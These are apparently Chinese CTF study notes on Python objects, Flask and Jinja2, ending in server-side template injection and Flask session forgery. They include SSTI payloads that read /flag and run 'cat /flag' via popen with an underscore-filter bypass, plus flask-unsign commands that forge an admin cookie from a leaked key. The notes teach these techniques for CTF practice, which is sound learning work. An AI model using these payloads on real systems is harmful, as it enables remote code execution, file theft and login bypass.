Python基础

python的核心编程思想就是面向对象(把需要操作的每个东西,当作独立的对象)

对象的基本特性(封装、多态、继承、抽象):
封装

把属性、方法打包进一个类里,隐藏内部复杂逻辑,只对外提供简单调用接口,不让外部随便乱改内部数据。

多态

不同的子类,调用同名方法,执行不同逻辑。(有继承;有重写;统一调动)

继承

子类可以继承父类的属性和方法,还能新增自己的功能。

抽象

父类只定义方法而不写具体实现,强制子类必须重写该方法。

1
2
3
4
5
from abc import ABC, abstractmethod
class Lei(ABC)
@abstractmethod
def XXX(self)
pass

SSTI

SSTI服务器端模板注入,恰如SQL注入利用数据库,SSTI利用服务器模板引擎

python特性

魔术属性

它的前提就是python中的任何东西(字符串、数字、列表)都是对象,而所有对象都可以向上爬取到最顶层的父类<class 'object'>,找到所有底层工具类(拿到os模块)

属性 作用 SSTI 风险 示例
__class__ 获取对象的类 一般的类对象攻击链起点,获取类对象 ''.__class__<class 'str'>
__bases__ 获取类的基类元组 访问继承树 str.__bases__(<class 'object'>,)
__base__ 获取第一个基类 快速访问基类 str.__base__<class 'object'>
__mro__ 方法解析顺序(继承链) 遍历继承关系 str.__mro__(str, object)
__subclasses__() 获取类的直接子类列表 极高危,访问所有加载的类 object.__subclasses__()
__globals__ 获取函数所在模块的全局变量字典 极高危,访问模块全局变量 func.__globals__
__closure__ 获取函数的闭包变量 访问外层作用域变量 func.__closure__[0].cell_contents
__code__ 获取函数的字节码对象 泄露代码信息 func.__code__.co_filename
__builtins__ 内置函数和异常的集合 极高危,访问危险函数 __builtins__.__import__
__package__ 获取模块所属包名 泄露包结构信息 os.__package__
__spec__ 获取模块规范对象 泄露模块信息 os.__spec__.origin
__name__ 获取类/函数/模块名 识别关键对象 os.__name__
__qualname__ 获取限定名称 识别嵌套对象 Class.Method.__qualname__
__module__ 获取定义模块名 定位模块来源 func.__module__
__doc__ 获取文档字符串 泄露实现细节 os.system.__doc__

魔术方法

所有对象除了自带魔术属性,还自带可调用的魔术方法,可在 SSTI 模板注入中直接执行调用

方法 调用时机 SSTI 风险
__new__(cls) 创建新实例时 控制对象创建过程
__init__(self) 对象初始化时 访问初始化上下文
__del__(self) 对象销毁时 潜在后门入口
__getattribute__(self, name) 所有属性访问时 属性访问总入口
__getattr__(self, name) 属性不存在时 动态属性处理
__setattr__(self, name, value) 设置属性时 修改对象状态
__dir__(self) dir()调用时 泄露可用属性
__call__(self) 对象被调用时 使任意对象可调用
__func__ 获取函数对象 访问底层函数
__closure__ 访问闭包变量 获取外层变量
__enter__(self) 进入上下文时 返回有风险的对象
__exit__(self) 退出上下文时 清理操作可能被利用
__import__(name) 动态导入模块 极高危,RCE核心
__reduce__(self) 序列化对象时 构造恶意序列化
__getstate__/__setstate__ 序列化控制 篡改序列化状态

基于Python的HTTP服务

http.serversocketserver.TCPServer 的子类,它在 HTTP 套接字上创建和监听,并将请求分派给处理程序。最简单的就是python -m http.sever 8080

Flask

Flask是一个使用Python编写的轻量级Web应用框架,基于Werkzeug WSGI工具包和Jinja2模板引擎

创建一个最简单的Flask应用只需几行代码:

1
2
3
4
5
6
7
8
9
10
from flask import Flask
# 创建Flask应用实例
app = Flask(__name__)
# 定义路由和视图函数
@app.route('/')
def hello_world():
return 'Hello, World!'
# 启动应用
if __name__ == '__main__':
app.run(debug=True)
路由

路由是将URL映射到视图函数的机制。Flask使用装饰器来定义路由

URL:Flask支持在URL中包含变量。

HTTP方法:路由可以限定接受的HTTP方法:

1
2
3
4
5
6
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
return '处理登录'
else:
return '显示登录表单'
视图函数

视图函数是处理请求并返回响应的Python函数

视图函数可返回字符串(直接显示为HTML)、HTML模板渲染结果、JSON响应、重定向、自定义响应对象…

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, render_template, jsonify, redirect, url_for

app = Flask(__name__)

# 首页函数(重定向用)
@app.route('/')
def hello_world():
return "这是首页!"

# 渲染HTML模板
@app.route('/template')
def template_example():
return render_template('example.html', name='Flask')

# 返回JSON接口数据
@app.route('/api/data')
def api_data():
return jsonify({"name": "Flask", "type": "framework"})

# 页面重定向
@app.route('/redirect')
def redirect_example():
return redirect(url_for('hello_world'))

if __name__ == '__main__':
app.run(debug=True)
请求对象

Flask通过request对象提供对客户端请求数据的访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# request 是 Flask 接收前端数据的核心工具
from flask import request

# 路由配置:仅允许 POST 请求
@app.route('/submit', methods=['POST'])
def submit():
# 获取【表单数据】
username = request.form.get('username')

# 获取【URL参数】(地址栏 ?page=1 这种参数)
page = request.args.get('page', 1, type=int)

# 获取【JSON数据】(前后端分离接口、小程序/APP传参)
data = request.get_json()

# 获取【上传文件】(头像、文档上传)
file = request.files.get('upload')

# 返回结果给前端
return f'Received: {username}'
响应对象

视图函数可以返回一个元组来设置响应的状态码和头信息:

1
2
3
@app.route('/response')
def custom_response():
return 'Custom response', 201, {'X-Custom-Header': 'value'}

还有用make_response函数创建自定义响应:

1
2
3
4
5
6
7
8
9
from flask import make_response
@app.route('/login')
def login():
resp = make_response("登录成功")
username = request.args.get("user")
if username == "admin":
resp.set_cookie("flag", "ctf{Admin_Cookie_Get_Flag}")
resp.set_cookie("username", username)
return resp

认识Flask中的Jinja2模板

Jinja2模板是包含静态内容和动态内容占位符的文件

默认Flask在应用的 templates目录中查找模板

模板语法

Jinja2模板支持三种主要的语法结构:

变量:{{variable}}

控制结构:{% if condition %} ... {% endif %}

注释:{# This is a comment #}

变量与过滤器

变量可以通过过滤器进行转换

1
2
3
{{ name|capitalize }}
{{ text|truncate(100) }}
{{ data|tojson }}

常用过滤器:

attr:通过字符串获取对象属性,代替点号.

1
2
3
4
# 原始:''.__class__
# 过滤点号/关键词后:
{{ ''|attr('__class__') }}
{{ ''|attr('__cla'+'ss__') }}

replace:字符串替换

base64_encode / base64_decode:Base64 编解码

get:获取字典键 / 列表元素,替代中括号 []

join:列表拼接为字符串

format:字符串格式化,动态拼接 payload

lower/upper: 转换大小写

reverse:反转字符串

Jinja2 模板注入(SSTI)

原理

若开发者直接将用户输入 作为模板变量渲染(如return render_template_string(user_input)),攻击者可注入恶意模板代码,实现任意代码执行。

Jinja2语法中的{{ }}内的表达式会被解析执行。{{config}}会泄露Flask配置信息。

案例:

1、
1
2
3
def index():
name = request.args.get('name', 'Guest')
return render_template_string(f'Hello, {name}!')

方法:

访问/?name={{config}}

若配置中无 flag,尝试读取文件:{{ open('/flag').read() }}

2、

当目标过滤了_[].等字符时,需用特殊语法绕过。例如过滤_时,可利用request.args传递下划线。

绕过原理request.args是 Flask 的请求参数对象,可通过request.args.x获取?x=xxx中的值。若 url 为/?x=_,则request.args.x等价于'_'

方法:

原始payload:{{ ().__class__.__base__.__subclasses__() }}

过滤后,request.args传参:

URL:/?x=__&payload={{ ().__getattribute__(request.args.x~'class'~request.args.x) }}

完整payload:

1
2
3
# URL:
?x=__&y=class&z=base&a=subclasses&b=popen&c=read
&payload={{ ().__getattribute__(request.args.x~request.args.y~request.args.x).__getattribute__(request.args.x~request.args.z~request.args.x).__getattribute__(request.args.x~request.args.a~request.args.x)()[-1].__getattribute__(request.args.x~request.args.b~request.args.x)('cat /flag').__getattribute__(request.args.x~request.args.c~request.args.x)() }}

Session伪造

原理

Flask 的 Session 存储在客户端 cookie 中,通过SECRET_KEY签名验证。若SECRET_KEY泄露,攻击者可伪造任意 Session 数据(如修改user_id为管理员 ID)。

Flask Session 是经 Base64 编码 +SECRET_KEY签名的字典

方法

通过 SSTI 漏洞({{config}})或代码泄露(如app.py中硬编码)得到SECRET_KEY = 'ctf_secret_key'

安装工具:pip install flask-unsign

解密现有 Session(查看结构)

1
2
flask-unsign --decode --cookie ".eJw9kU1v..." --secret 'ctf_secret_key'
# 输出:{'user_id': 1, 'is_admin': False}

伪造管理员 Session

1
2
flask-unsign --sign --cookie "{'user_id': 0, 'is_admin': True}" --secret 'ctf_secret_key'
# 生成伪造的cookie

替换浏览器 cookie,访问管理员页面获取 flag